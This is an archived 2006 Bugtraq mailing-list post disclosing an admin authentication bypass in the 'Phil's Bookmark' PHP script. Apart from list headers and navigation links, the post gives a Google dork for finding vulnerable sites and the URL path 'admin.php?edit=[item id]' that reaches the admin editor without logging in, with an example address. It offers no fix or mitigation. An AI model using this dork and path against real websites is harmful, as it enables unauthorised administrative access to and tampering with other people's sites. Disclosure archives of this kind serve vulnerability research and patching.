Phil's Bookmark script admin By-pass

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: Phil's Bookmark script admin By-pass
From: alp_eren@xxxxxxxxxxxx
Date: 7 May 2006 10:22:13 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

google dork : "Phil's Bookmark"

and lasth path add to "admin.php?edit=[item id]"

example: www.site.com/bookmarks/admin.php?edit=1


www.ayyildiz.org

Prev by Date: Limbo CMS (option=weblinks) SQL injection exploit
Next by Date: OpenEngine (PHP CMS)
Previous by thread: Limbo CMS (option=weblinks) SQL injection exploit
Next by thread: Re: Phil's Bookmark script admin By-pass
Index(es):
- Date
- Thread